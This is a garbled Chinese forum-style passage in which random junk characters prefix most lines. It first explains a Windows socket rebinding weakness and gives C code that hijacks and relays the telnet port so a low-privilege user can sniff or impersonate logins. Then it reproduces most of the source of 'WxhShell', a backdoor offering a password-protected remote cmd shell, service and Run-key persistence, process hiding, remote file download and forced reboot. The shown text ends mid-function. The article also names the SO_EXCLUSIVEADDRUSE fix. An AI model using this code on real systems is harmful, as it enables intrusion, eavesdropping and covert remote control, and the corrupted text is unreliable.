在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
>F~ITk5`Oo s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ysl8LK
i.F8 saddr.sin_family = AF_INET;
]qMH=>pOsj )*Vj3Jx saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Tfr`?:yF *F|i&2 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
/Go>5B> {sl~2#,}b1 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
avVmY|I >^;(c4C 这意味着什么?意味着可以进行如下的攻击:
/!-J53K ,Q+\h>I 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
A ^-Z)0: yW{mK 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
*b:u*`@ X;(oz]tr$ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
3]!h{_:u YK7 \D: 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
%kJh6J nZ541o@t9 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
prqT (1 u*U_7Uw$ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
'1Y<RD>x 5d%_Wb' 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
8B_0!U&] "wC0eDf #include
f!mE1,eBEe #include
ruzMag) #include
/G{&[X<4U #include
8 NxUx+] DWORD WINAPI ClientThread(LPVOID lpParam);
I7A7X* int main()
Kq8(d`g} {
cl@kRX<7' WORD wVersionRequested;
FoQ?U=er DWORD ret;
2.!1kije WSADATA wsaData;
F9v)R#u~ BOOL val;
~d&'Lp[3 SOCKADDR_IN saddr;
u"*J[M~ SOCKADDR_IN scaddr;
aD?# , int err;
;,mBT[_ZO SOCKET s;
%Fs*#S SOCKET sc;
K?$9N}+ int caddsize;
AL(n*, HANDLE mt;
i[o&z$JO DWORD tid;
-<]\l3E&J wVersionRequested = MAKEWORD( 2, 2 );
Av@&hD\ err = WSAStartup( wVersionRequested, &wsaData );
gHp'3SnS if ( err != 0 ) {
>c}:
printf("error!WSAStartup failed!\n");
0&.LBv8 return -1;
zoR,RBU6 }
$xLEA\s saddr.sin_family = AF_INET;
x`Vy<h 33 4u@yJ?U //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
<zfO1~^ =VCi8jDkP saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
7E;>E9 ' saddr.sin_port = htons(23);
Dp%5$wF)8
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
mgk64}K [n {
+[>yO _} printf("error!socket failed!\n");
#8S [z5 ` return -1;
A1mYkG)l }
7qW.h>%WE val = TRUE;
u![4=w //SO_REUSEADDR选项就是可以实现端口重绑定的
0@o;|N"i if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
])+Sc"g4k {
H<v c\r printf("error!setsockopt failed!\n");
@=02 return -1;
yBr$ 0$ }
Q~x*bMb. //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
37%`P\O;s //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
>|v=Ba6R0 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
zNNzsT8na eL>K2Jxq if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
s'R~r {
bMSD/L ret=GetLastError();
(K^YD K printf("error!bind failed!\n");
Ti0
(VdY return -1;
#&;m<% }
E6,`Ld;c[ listen(s,2);
zG&WWc`K while(1)
[6Uud iw {
QWU5-p9e8 caddsize = sizeof(scaddr);
bv .EM //接受连接请求
ON:LPf>"- sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
emGV]A%nss if(sc!=INVALID_SOCKET)
;:v]NZtc {
$ iX^p4v mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
oc!biE`u if(mt==NULL)
Z)C:]}Ex {
zyIza @V( printf("Thread Creat Failed!\n");
*=($r%) break;
~5-~q0Ge }
SS>:Sw }
h<PYE]?l CloseHandle(mt);
*O2^{ C }
4U}.Skzq closesocket(s);
cRs{=RGc WSACleanup();
'?&B5C return 0;
'e+-,CGdY\ }
9nP*N` DWORD WINAPI ClientThread(LPVOID lpParam)
daaga}]d {
E#yCcC!wMY SOCKET ss = (SOCKET)lpParam;
[X0k{FR SOCKET sc;
^4n2
-DvG unsigned char buf[4096];
.F{}~K] SOCKADDR_IN saddr;
{ Hktu| long num;
a7QlU=\ DWORD val;
9$B)hrJo
DWORD ret;
WyKUvVi //如果是隐藏端口应用的话,可以在此处加一些判断
H}u)%qY+~ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
^N*pIVLC saddr.sin_family = AF_INET;
|HKHN?) saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
eukX#0/^ saddr.sin_port = htons(23);
z6GL,wo# if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
h$#4ebp {
I v 80,hW printf("error!socket failed!\n");
n?TO!5RZK return -1;
; Xnk+ }
IqR[&T)lj val = 100;
O3slabE# if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
xEd#~`Jmr {
mI{CM:
: ret = GetLastError();
.#:@cP~v return -1;
Zq2H9^![y~ }
g7E`;&f if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
/NPl2\ o. {
>tE,8 ret = GetLastError();
$g}/T_26 return -1;
JC Cx 5 }
:O>Nd\UtO if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
z9OMC$,V {
i]hR7g< printf("error!socket connect failed!\n");
zWKrt.Dg closesocket(sc);
fzPgX closesocket(ss);
*YiD B?Si return -1;
H4K(SGx }
m \R@.jkZ while(1)
(o6A?37i {
K4K3<Pg //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
-7C=- \]
//如果是嗅探内容的话,可以再此处进行内容分析和记录
(AyRs7Dkn //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
hs -}:^S` num = recv(ss,buf,4096,0);
'xu7AKpU) if(num>0)
ul5:: send(sc,buf,num,0);
^qSf else if(num==0)
qB`0^V break;
(>)+;$Dr,\ num = recv(sc,buf,4096,0);
8&`T<ECq> if(num>0)
v]d?6g send(ss,buf,num,0);
A7I8Z6& else if(num==0)
7@e[:>e break;
%o SfL;W7 }
j3V"d 3) closesocket(ss);
MRxo|A{ closesocket(sc);
Vt$ $ceu return 0 ;
YA/H;707l }
W+-f ` Nt,]00S\w Q>+_W2~] ==========================================================
:">~(Rd ZH *I;Mp 下边附上一个代码,,WXhSHELL
37za^n?SG \sXmMc ==========================================================
lzQ&)7` ,rvZW}= #include "stdafx.h"
MZhJ,km) Z)Xq!]~/g #include <stdio.h>
*SAcH_I2$> #include <string.h>
2-B8>-
#include <windows.h>
J[_?>YJ #include <winsock2.h>
4=#QN #include <winsvc.h>
w-q=.RSTn= #include <urlmon.h>
aV92.Z_Ku 'E4(!H,k #pragma comment (lib, "Ws2_32.lib")
M#22Zfxq #pragma comment (lib, "urlmon.lib")
%Tm'aY" X~/9Vd g #define MAX_USER 100 // 最大客户端连接数
}~0{1& #define BUF_SOCK 200 // sock buffer
[;kj,j #define KEY_BUFF 255 // 输入 buffer
iR4,$Nn> R.n`R|NOd #define REBOOT 0 // 重启
5Dh&ez`oR' #define SHUTDOWN 1 // 关机
nG(|7x Xb07 l3UG #define DEF_PORT 5000 // 监听端口
R}=]UOqH- m<VL19o>R #define REG_LEN 16 // 注册表键长度
KcMzZ!d7m #define SVC_LEN 80 // NT服务名长度
Lh5+fk~i~8 l<+,(E= // 从dll定义API
qgY(S}V typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
_|2";.1E typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
lf7H8k, - typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
rO2PbF3 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
fe]T9EDA r%?}5"* // wxhshell配置信息
jl?y} struct WSCFG {
;-P:$zw9c int ws_port; // 监听端口
M. UUA?d<' char ws_passstr[REG_LEN]; // 口令
C8%nBa/ int ws_autoins; // 安装标记, 1=yes 0=no
$F==n4) char ws_regname[REG_LEN]; // 注册表键名
^c:eXoU char ws_svcname[REG_LEN]; // 服务名
~m"M#1,ln3 char ws_svcdisp[SVC_LEN]; // 服务显示名
61 HqBa char ws_svcdesc[SVC_LEN]; // 服务描述信息
k?_$h<Y char ws_passmsg[SVC_LEN]; // 密码输入提示信息
BtDgv.;GH int ws_downexe; // 下载执行标记, 1=yes 0=no
HoQ(1e$G- char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
zJym`NF char ws_filenam[SVC_LEN]; // 下载后保存的文件名
?eZ"UGZg' A_dYN?^?| };
{~
vPq z8MpE // default Wxhshell configuration
-ZMl[;OM struct WSCFG wscfg={DEF_PORT,
@x\gk5 "xuhuanlingzhe",
(4/`@;[ 1,
P24 "Wxhshell",
9H Bx[2& "Wxhshell",
k@X
As "WxhShell Service",
_a02# "Wrsky Windows CmdShell Service",
"q#g/T "Please Input Your Password: ",
X$Qi[=L 1,
vzQmijr- "
http://www.wrsky.com/wxhshell.exe",
Ffqn|}gb "Wxhshell.exe"
vskM; };
'Y/V9;`)s 6(RqR // 消息定义模块
)}Mt'd char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
gj(l&F *@ char *msg_ws_prompt="\n\r? for help\n\r#>";
8*X
L19N char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
d(cYtM,P char *msg_ws_ext="\n\rExit.";
2LK*Cv[ char *msg_ws_end="\n\rQuit.";
{Eb2<;1o{ char *msg_ws_boot="\n\rReboot...";
G;.u>92r| char *msg_ws_poff="\n\rShutdown...";
ZJ'H y5? char *msg_ws_down="\n\rSave to ";
w+ )GM xo@/k char *msg_ws_err="\n\rErr!";
{hp@j# char *msg_ws_ok="\n\rOK!";
S+=@d\S}" 'Rf#1ls# char ExeFile[MAX_PATH];
T"jDq1C/,E int nUser = 0;
oz7udY=]0 HANDLE handles[MAX_USER];
!!Gi.VL int OsIsNt;
vnT
v?iH}7zb%Q SERVICE_STATUS serviceStatus;
CX(yrP6; SERVICE_STATUS_HANDLE hServiceStatusHandle;
:=fHPT 2tTV5,(1 // 函数声明
ZtZV:re= int Install(void);
a[OLS+zf!P int Uninstall(void);
A&|(% int DownloadFile(char *sURL, SOCKET wsh);
uaMm iR int Boot(int flag);
i_9/!D void HideProc(void);
Kwmo)|7uPU int GetOsVer(void);
;bu;t# int Wxhshell(SOCKET wsl);
+(hwe
jyC void TalkWithClient(void *cs);
jfhDi6N int CmdShell(SOCKET sock);
jF2GHyB int StartFromService(void);
Q? |M BTo int StartWxhshell(LPSTR lpCmdLine);
k{&E}:A w\[*_wQp VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
sJ*U Fm{ VOID WINAPI NTServiceHandler( DWORD fdwControl );
0hr)tYW,G LGue=Hkp // 数据结构和表定义
g{.@|;d<p SERVICE_TABLE_ENTRY DispatchTable[] =
fXR_)d {
)=y6s^} {wscfg.ws_svcname, NTServiceMain},
[UrS%]OSR {NULL, NULL}
\d8=*Zpz7 };
Q#AHEm{9;s M(gWd8?# // 自我安装
l3
Bc
g int Install(void)
iK23`@&%_ {
Lr]Hvd char svExeFile[MAX_PATH];
>TVd*S HKEY key;
&dMSX}t strcpy(svExeFile,ExeFile);
U0=zuRr n 246!\zf // 如果是win9x系统,修改注册表设为自启动
/-9+( if(!OsIsNt) {
"PP0PL^5F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
{}2p1-( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
k:yu2dQh RegCloseKey(key);
gG?*Fi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Or~6t}f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4C*=8oe_ RegCloseKey(key);
nqW:P$ return 0;
im%3*bv- }
6R,b 8 }
YuuG:Kk }
[Cr~gd+q else {
W-B[_ Fi}rv[`XY[ // 如果是NT以上系统,安装为系统服务
UjK&`a;V SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
^d=@RTyo/ if (schSCManager!=0)
Dy'l]vN$ {
<W{0@?y SC_HANDLE schService = CreateService
+opN\`
(
9`VF
[*
9 schSCManager,
VZ!$'?? wscfg.ws_svcname,
{Z;GNMO: wscfg.ws_svcdisp,
jCa;g{#@ SERVICE_ALL_ACCESS,
BFRSYwPr SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
X+BSneu SERVICE_AUTO_START,
*g}&&$b0 SERVICE_ERROR_NORMAL,
XsMphZnK svExeFile,
b,sc NULL,
)x s, NULL,
j ZafwBi NULL,
}J
lW\# NULL,
I=-;*3g6 NULL
[Y~ s );
a-hGpYJJG if (schService!=0)
(KU@hp-\ {
0u9h2/ma CloseServiceHandle(schService);
''YjeX CloseServiceHandle(schSCManager);
(!=aRC.- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
_YUF /B' strcat(svExeFile,wscfg.ws_svcname);
Q*(C)/ QW if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Rb*\A7o|; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
,_-*/- 7;8 RegCloseKey(key);
d8I:F9 return 0;
bME3" e{O
}
S?tLIi/ }
Ku'U^=bVm: CloseServiceHandle(schSCManager);
Wuz~$SU }
X"GQ^]$O }
_L.yt5_ v%Xe)D return 1;
w\4m-Z{ }
,6L>f.V^(U |g!#
\ // 自我卸载
|Q;1;QXd int Uninstall(void)
T`;M!-)2 {
aC`
c^'5 HKEY key;
boon=;{p PTqS L] if(!OsIsNt) {
TR20{8" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
8B9zo& RegDeleteValue(key,wscfg.ws_regname);
4Fq}*QJ- RegCloseKey(key);
.9QQ]fLs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
%q^]./3p RegDeleteValue(key,wscfg.ws_regname);
v\FD~ RegCloseKey(key);
z$b!J$A1 return 0;
CxV%/ChJ# }
Z;s-t\C }
g&wQ^ }
+.cv,1Vx else {
|SleSgS<# i|GC 'XD@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
h#nQd=H<g# if (schSCManager!=0)
_%B`Y ?I` {
j+/*NM_y3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
b<7f:drVC if (schService!=0)
]42l:at {
U @|_5[nl if(DeleteService(schService)!=0) {
.|-y+9IP CloseServiceHandle(schService);
.IU+4ENSy4 CloseServiceHandle(schSCManager);
]={Hq9d@ return 0;
5K<C }
z(qz(`eGC& CloseServiceHandle(schService);
?CDq^)T[ }
O/nS,Ux CloseServiceHandle(schSCManager);
nt6"}vO }
@d|9(,Q }
Y}Uw7\e x
,W+:l9~s return 1;
H2vEFn V }
o5uwa{v KMcP !N.I // 从指定url下载文件
TH &B9 int DownloadFile(char *sURL, SOCKET wsh)
g~b'}^J {
tHeLq*)) HRESULT hr;
a$m?if= char seps[]= "/";
%b9M\ char *token;
f -5ZXpWs' char *file;
=KLYR UW char myURL[MAX_PATH];
QZo l(2~Y char myFILE[MAX_PATH];
D.?gV_ '-=?lyKv strcpy(myURL,sURL);
%s>E@[s token=strtok(myURL,seps);
/Z_QCj while(token!=NULL)
75f.^4/% {
"?SnA +) file=token;
|*i-Q @
D token=strtok(NULL,seps);
WW=7QCi }
Pl4d(2
7 dQ]j
r. GetCurrentDirectory(MAX_PATH,myFILE);
HFOp4 strcat(myFILE, "\\");
)SuJK.IF strcat(myFILE, file);
5]E5 V@C send(wsh,myFILE,strlen(myFILE),0);
?$Pj[O^hl send(wsh,"...",3,0);
~m7+^c@, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
|a+8-@-Tj if(hr==S_OK)
2 6A#X return 0;
R#>E{[9 else
"5Mo%cUp return 1;
|wx1
[xZ [Wc 73- }
Alz#zBGb ff0,K#- // 系统电源模块
syF/jWM5 int Boot(int flag)
*O~D lf {
G`jhzG HANDLE hToken;
i{2KMa{K TOKEN_PRIVILEGES tkp;
P;34Rd YQ/*| if(OsIsNt) {
K4"as9oFP OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
}O/Nn0, LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
{8Ll\j@ " tkp.PrivilegeCount = 1;
V|=
1<v tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
.;'xm_Gw< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
AO6;aT if(flag==REBOOT) {
F+GQ l if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
!k:j+h/ return 0;
sp%7iNs }
JLhp25{x else {
y3#\mBiw if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
SzgVvmM} return 0;
ctGjqHo }
SDkN }
myXV~6R
3 else {
e(Verd:c if(flag==REBOOT) {
vjpe'zx if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
LPC7Bdjz return 0;
J0IK=Y }
A.[T#ZB.4 else {
=LR UasF if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
{q^KlSjm return 0;
DQSv'!KFO }
ee0J;pP2# }
/bWV`* !E%!, return 1;
,3wo }
Vr'Z5F*@ [kCn6\_<V // win9x进程隐藏模块
2rxdRg'YLQ void HideProc(void)
z,)Fvs4U. {
m#Cp.|>kP4 \ys3&<;b HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
2.6,c$2tB if ( hKernel != NULL )
cMj<k8.{ {
x\*5A,w{c] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
O1z>A ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
*jYwcW"R{z FreeLibrary(hKernel);
-&c@c@dC }
{PU[MHZF k@w&$M{tPF return;
E^g6,Y:i9 }
#\}hN~@F X_h+\
7N> // 获取操作系统版本
1||e!W int GetOsVer(void)
V1ug.Jv^ {
@wo9;DW` OSVERSIONINFO winfo;
&c]x;#-y winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
_u>+H# GetVersionEx(&winfo);
8)i\d` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
,"D1!0 return 1;
X**wRF else
R{T4AZ@,' return 0;
6c2fqAF>i }
F?UL0Q|u v BjA|H // 客户端句柄模块
!%Ak15o int Wxhshell(SOCKET wsl)
IflpM ] {
7l?=$q>k" SOCKET wsh;
k=LY 6 struct sockaddr_in client;
HwDb &pP" DWORD myID;
+G?3j ,a\ )T>a|. while(nUser<MAX_USER)
3}"VUS0wh {
@-hy:th# int nSize=sizeof(client);
h.67]U7m wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
4EOu)# if(wsh==INVALID_SOCKET) return 1;
c6e?)(V> _%t w#cM handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
0Vg8o @ if(handles[nUser]==0)
=%a.C(0&G closesocket(wsh);
"$WZd else
G",+jR] nUser++;
D,NjDIG8 }
rP*?a~< WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
* 6uiOtH lY6U $*9c return 0;
j*CnnM#n }
#oHHKl=M 'HOt?lpu! // 关闭 socket
;N)qNiJY void CloseIt(SOCKET wsh)
cM55
vVd {
[\I\). closesocket(wsh);
P|G:h& nUser--;
n|(Y?`( ExitThread(0);
7Q^t( }
n.XT-X^ poM VB{U // 客户端请求句柄
_N<8!(|w void TalkWithClient(void *cs)
Z
rvb
% {
P/^:IfuR ^D!UF(H SOCKET wsh=(SOCKET)cs;
akaQ6DIdG char pwd[SVC_LEN];
\;Ii(3+v; char cmd[KEY_BUFF];
J&lQ,T!?B char chr[1];
r=s7be int i,j;
yM>c**9 r|
YuHm while (nUser < MAX_USER) {
ZVI.s U Lw3Z^G if(wscfg.ws_passstr) {
3uN;*f if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
CA{c-kG //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
T,k`WR //ZeroMemory(pwd,KEY_BUFF);
(;!&RZ i=0;
yXlzImPn while(i<SVC_LEN) {
'GAjx{gM H=B8'N // 设置超时
X.g1
312~ fd_set FdRead;
0'a.Ypf struct timeval TimeOut;
<x,$ODso FD_ZERO(&FdRead);
{"O'kx FD_SET(wsh,&FdRead);
si)920?E& TimeOut.tv_sec=8;
\vKMNk;kz TimeOut.tv_usec=0;
=T9QmEBm int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
PE3l2kr if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
mhh8<BI 92XzbbLp if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
uQrD}%GI pwd
=chr[0]; f\1)BZ'I
if(chr[0]==0xd || chr[0]==0xa) { nd-y`@z
pwd=0; %|4Nmf$:Og
break; ?FD^S~bz-
} {]`O $S
i++; K
o,O!T.
} e3&R3{
{5:y,=Y
// 如果是非法用户,关闭 socket Qb/qUUQO;0
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YMC*<wXN
} |]^OX$d
4h?[NOA"
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9=Y-w s
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EZao\,t
~p^6
while(1) { :+; UW
\
|R DPx6!V
ZeroMemory(cmd,KEY_BUFF); W$
M4#
N _Yop
// 自动支持客户端 telnet标准 sFMSH:5z
j=0; Wcw$
Zv
while(j<KEY_BUFF) { _z~|*7@
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A@+pvC&
cmd[j]=chr[0]; .XTBy/(0
if(chr[0]==0xa || chr[0]==0xd) { ?~hC.5
cmd[j]=0; JuS#p5E #
break; u1(`^^Ml
} )y_MI
r
j++; zJOL\J'
} f8!*4Bw
b<NI6z8\
// 下载文件 3`$-
if(strstr(cmd,"http://")) { K'Wg_ihA
send(wsh,msg_ws_down,strlen(msg_ws_down),0); p8frSrcU
if(DownloadFile(cmd,wsh)) ]^p6dbzWe
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &+Xj%x.]
else _|`S9Nms
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,)|nxX
} V'^Hn?1^
else { D!+d]A[r
.sgP3Ah
switch(cmd[0]) { ymiOtA Z
*6?h,Dt L
// 帮助 GBVw6+(c
case '?': { w/#k.YE
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LW
8LD|@
break; f9?\Q'v8
} ~A(fn:d
// 安装 }$?xwcPU
case 'i': { Z~[ c65Nlu
if(Install()) |1uyJ?%B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?vp'
/l"
else Gk
g)\ 3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mbK$_HvU
break; k|'{$/n
} ~*@UQ9*p#
// 卸载 >/9f>d?w^
case 'r': { $i;%n1VBg
if(Uninstall()) 1
\:5ow&a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R<I)}<g(A3
else bk44qL;8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JmjqA Dex
break; Ko|nF-r_
} 8GgZAu'X
// 显示 wxhshell 所在路径 UOC>H%r~M?
case 'p': { [W;iR_7T5
char svExeFile[MAX_PATH]; tN&4t
xB
strcpy(svExeFile,"\n\r"); pX `BDYg.
strcat(svExeFile,ExeFile); w3WBgH
send(wsh,svExeFile,strlen(svExeFile),0); slaYr`u
break; ,4M7:=gf
} Nr8#/H2f
// 重启 <F{EZ Ii
case 'b': { @(<C {
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q}C)az
if(Boot(REBOOT)) :c)N"EJlI2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fuq ;4UcbL
else { V(3^ev/
closesocket(wsh); ?S9? ?y/
ExitThread(0); fP# !ywgr%
} +"Flu.+['
break; wVX]"o
} WdI9))J2S
// 关机 Dukvi;\
case 'd': { jfF
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G<:_O-cPSv
if(Boot(SHUTDOWN)) GCm(3%{V%(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N@6+DHt
else { 4c^WQ>[
closesocket(wsh); "NWILZwEV
ExitThread(0); z-ns@y(f@X
} &m[ZpJ9
break; &8$Gyu
} A{X:p3$eN
// 获取shell o{MF'B#
case 's': { 4@19_+3
CmdShell(wsh); i;B &~
closesocket(wsh); pDqX%
$^
ExitThread(0); !1(*D*31
break; L8R{W0Zr>!
} n<q1itjD
// 退出 4~<78r5m
case 'x': { c@f?0|66M
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %n?_G|
CloseIt(wsh); ;GQCq@)-
break; 0+S ;0
} lgrD~Y (x
// 离开 mk.1j x?l
case 'q': { Hw29V //
send(wsh,msg_ws_end,strlen(msg_ws_end),0); v
*icoj
closesocket(wsh); O?,Grn%'.
WSACleanup(); Pa)'xfQ$Y6
exit(1); M18> %zM
break; -J &y]'
} Z:eB9R#2y
} WAq!_xE
} [h&)h+xt
^cRAtoa
// 提示信息 ,i RUR8
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a=_+8RyVQ
} %Yw?!GvL[
} U/ds(*g@
gug9cmA/Q7
return; _ \&vA5-
} Mbm'cM&}
!#&`1cYX
// shell模块句柄 xu%_Zt2/?j
int CmdShell(SOCKET sock) J(>T&G;
{ pSa
pF)1>
STARTUPINFO si; A4{14Y;?
ZeroMemory(&si,sizeof(si)); ) KvGJo)("
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g79zzi-
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !#y_vz9
PROCESS_INFORMATION ProcessInfo; >:J7u*>$ '
char cmdline[]="cmd"; x&p.-Fi
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c,j[ix
return 0; '8w}m8{y
} {<cL@W
E4N/or
// 自身启动模式 y:',)f }
int StartFromService(void) <>v=jH|L
{ $U=j<^R}a
typedef struct l"zwH
{ eQqnPqi-
DWORD ExitStatus; 0ZM#..3sI
DWORD PebBaseAddress; !P8Y(i
